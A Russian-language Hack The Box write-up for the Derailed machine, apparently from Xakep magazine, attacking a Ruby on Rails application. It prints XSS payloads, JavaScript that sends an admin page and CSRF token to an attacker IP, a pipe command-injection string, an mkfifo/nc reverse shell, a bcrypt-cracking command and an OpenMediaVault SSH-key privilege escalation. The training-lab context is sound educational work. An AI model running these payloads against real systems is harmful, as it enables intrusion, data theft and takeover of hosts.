Хакер - HTB Derailed. Пентестим веб-приложение на Ruby on Rails
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- XSS в Ruby on Rails
- Ruby on Rails open RCE
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу приемы, которые используются при атаках на веб‑приложения, в первую очередь — работающие на Ruby on Rails. Начнем со сканирования сайта, найдем и проэксплуатируем XSS, затем получим доступ к хосту через RCE. Для повышения привилегий на атакуемой машине разберемся с OpenMediaVault.
Нашей целью будет захват тренировочной машины Derailed с площадки Hack The Box. Уровень сложности отмечен как «безумный».
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.190 derailed.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Nmap нашел два открытых порта: 22 — служба OpenSSH 8.4p1 и 3000 — веб‑сервер Nginx 1.18.0. Очевидно, что начинать стоит с осмотра веб‑приложения.

На сайте даже без регистрации можем создать заметку.

Обратим внимание, что обращение к только что созданной заметке происходит как к файлу в URL, отсюда можно сделать вывод об использовании какого‑то API. Просканируем корневой каталог сайта по словарю с разными названиями файлов и названиями конечных точек API. Я сделаю это с помощью feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-u— URL;-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-d— глубина сканирования.
Запускаем:
feroxbuster -u http://10.10.11.190:3000 -w files_interesting.txt -t 256

Перебором мы нашли страницу со свойствами веб‑фреймворка Ruby on Rails — /rails/info/properties.

Теперь можно не сканировать каталоги и файлы, так как Rails предоставит нам всё в удобном виде на одной странице: /rails/info/routes.

ТОЧКА ВХОДА
В списке сразу отмечаем страницу администратора /administration, которая недоступна даже авторизованному пользователю.

Первым делом пробуем найти заметки других пользователей. Для этого будем просто перебирать номер заметки с помощью Burp Intruder.


Находим всего одну заметку, которая ничего нам не дает.

Также в списке конечных точек обращаем внимание на форму отчета.

Отправляем любое сообщение и видим, что оно доставляется администратору, а значит, будем готовиться искать XSS.

Потратив много времени и ничего не найдя, я вернулся к форме авторизации и спустя еще какое‑то время узнал, что форма не дает ввести в поле имени пользователя больше 48 символов. Однако мы можем это сделать с помощью Burp, обходя JS-скрипты.

Продолжая изучать сайт, я обнаружил переполнение в поле created, где раньше отображалась дата создания заметки.

Так как контроль этого поля пользователем не предусматривался, возможно, и проверок там никаких нет. Снова перебрав разные нагрузки по словарю, я ничего не получил и пошел искать XSS для Ruby on Rails на сайте CVE. И мне удалось найти подходящую уязвимость. Она содержится в модуле Rails::Html::SafeListSanitizer.

Возьмем из отчета готовую нагрузку:
<select<style/>W<xmp<script>alert(1)</script>
И отправим ее после 48-го символа в имени пользователя при регистрации. Но ничего не произошло.

Упростим нагрузку и повторим тест:
<select<style/><script>alert(1)</script>
В исходном коде страницы все отображается корректно, но алерт не появляется.

Попробуем выполнить запрос на свой сервер через загрузку картинки.
<select<style/><img src='http://10.10.14.6/test'>


Нагрузка отработала, так что давай ее раскручивать.
ТОЧКА ОПОРЫ
XSS в Ruby on Rails
Добиться выполнения скриптов было просто, для этого используем известный метод через параметр onerror. Код из него исполняется в том случае, когда браузер не может загрузить картинку. Для проверки выполняем JS-код, который выполнит запрос на наш сервер.
var url = "http://10.10.14.6/script_test";
var xhr = new XMLHttpRequest();
xhr.open('GET', url, false);
xhr.send(null);
Скрипт кодируем в сharCode с помощью CyberChef (в кодировке Base64 код не выполнился). Отправляем его в нагрузке и получаем два запроса: один для картинки и второй из JS-кода.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<select<style/><img src='http://10.10.14.6/none_page' onerror="eval(String.fromCharCode(118,97,.....,41,59))">


Нагрузка отработала, а так как куки в запросе не передаются, единственный вариант эксплуатации — получать доступ к административным страницам (ведь код будет выполняться у администратора) и эксфильтровать их содержимое к себе на сервер.
Следующий код выполнит запрос на страницу /administration, ответ закодирует в Base64 и кодировку URL и отправит на наш сервер в качестве параметра запроса.
var url = "http://derailed.htb:3000/administration";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://10.10.14.6/?"+ encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Кодируем через CyberChef и отправляем на сайт. Затем создаем отчет для администратора и мониторим логи веб‑сервера. Получив желанный запрос, декодируем Base64 и открываем страницу в браузере. Страница выглядит некрасиво, так как JS-скрипты не загружаются.

Рассмотрев подробнее ссылку Download, отмечаем, что это HTML-форма c несколькими параметрами.

Используется токен CSRF, поэтому выполнить запрос без посещения страницы /administration не получится. Также в исходном коде уже задан скачиваемый файл. Здесь пришлось долго возиться и с подсказкой «смотреть последние CVE». В итоге я вышел на уязвимость функции open в Ruby on Rails. Логично, ведь как‑то же нужно открыть файл.

Ruby on Rails open RCE
Первым делом нам нужно решить проблему с токеном CSRF. Для этого обращаемся к странице /administration и извлекаем из ответа значение элемента с ID authenticity_token. После этого передаем его на наш сервер.
var url = "http://derailed.htb:3000/administration";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var page = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var token = page.getElementById('authenticity_token').value;
var url2 = "http://10.10.14.44/?"+ encodeURI(token);
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', url2, false);
xhr2.send(null);
}
}
xhr.open('GET', url, true);
xhr.send(null);

У нас получилось извлечь токен, теперь попробуем проэксплуатировать уязвимость. Смысл в том, чтобы в имени файла передать конвейер команд. Для теста выполним запрос с помощью curl:
|curl http://10.10.14.44/test_rce
Следующий скрипт выполнит запрос к странице /administration, сделает задержку две секунды для ожидания загрузки страницы, получит CSRF-токен и создаст новую HTML-форму с теми же параметрами, что и в легитимной форме для скачивания файлов. Затем заполняем форму извлеченным CSRF-токеном и нагрузкой.
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "http://derailed.htb:3000/administration", true);
xmlHttp.send(null);
setTimeout(function() {
var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
var token = doc.getElementById('authenticity_token').value;
var newform = new DOMParser().parseFromString('<form id="rform" method="post" action="/administration/reports"> <input type="hidden" name="authenticity_token" id="authenticity_token" value="placeholder" autocomplete="off"> <input id="report_log" type="text" class="form-control" name="report_log" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newform.forms.rform);
document.getElementById('rform').elements.report_log.value = '|curl http://10.10.14.44/test_rce';
document.getElementById('rform').elements.authenticity_token.value = token;
document.getElementById('rform').submit();
}, 2000);
После отправки мониторим логи веб‑сервера и видим запрос из нагрузки для функции open.

Нагрузка отработала, поэтому запускаем листенер pwncat-cs -lp 4321 и кидаем реверс‑шелл:
|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.44 4321 >/tmp/f

Получив бэкконнект, забираем флаг пользователя в его домашнем каталоге.

ПРОДВИЖЕНИЕ
Для продвижения к другому пользователю стоит поискать учетные данные. Так как в системе есть веб‑приложение с базой данных, это наша первая цель. В каталоге сайта находим файл sqlite3 и скачиваем на свой компьютер.

Затем открываем файл для анализа. Я использую для этого DB Browser. Выбираем таблицу users, где и находим двух пользователей, а также bcrypt-хеши их паролей.

Отправляем хеши на перебор с помощью hashcat, указывая режим 3200 (параметр -m).
hashcat -a 0 -m 3200 3200_hash.txt rockyou.txt

Получаем один пароль. Осталось найти пользователя. Для этого из файла /etc/passwd получим всех пользователей с активной командной оболочкой.
cat /etc/passwd | grep -v 'nologin\|false'

Пробуем по порядку добавить полученный пароль и в итоге авторизуемся от имени другого пользователя: openmediavault-webgui.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
OpenMediaVault — это решение для сетевого хранилища на Linux. Оно поддерживает такие сервисы, как SSH, (S)FTP, SMB/CIFS, RSync и многие другие. И сейчас мы находимся в контексте пользователя службы OpenMediaVault. Первым делом просмотрим файл настроек /etc/openmediavault/config.xml.


Из интересного наблюдаем только настройки для доступа к веб‑серверу, а также, что очень интересно, настройки для доступа по SSH. Так как мы работаем от имени пользователя службы, можем вносить изменения в файл с настройками.

Давай внесем в настройки пару изменений и разрешим подключение с приватным ключом по SSH. Подробно об этом написано на форуме. Сперва генерируем пару SSH-ключей.
ssh-keygen -t rsa
ssh-keygen -e -f id_rsa.pub
Теперь открываем настройки в редакторе nano (да, pwncat это позволяет сделать!) и меняем запись для тестового пользователя, добавляя публичный ключ.

Теперь применим изменения для SSH.
/usr/sbin/omv-rpc -u admin "config" "applyChanges" "{"modules":["ssh"],"force":true}"

И подключаемся с приватным ключом!

Флаг рута у нас, а значит, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei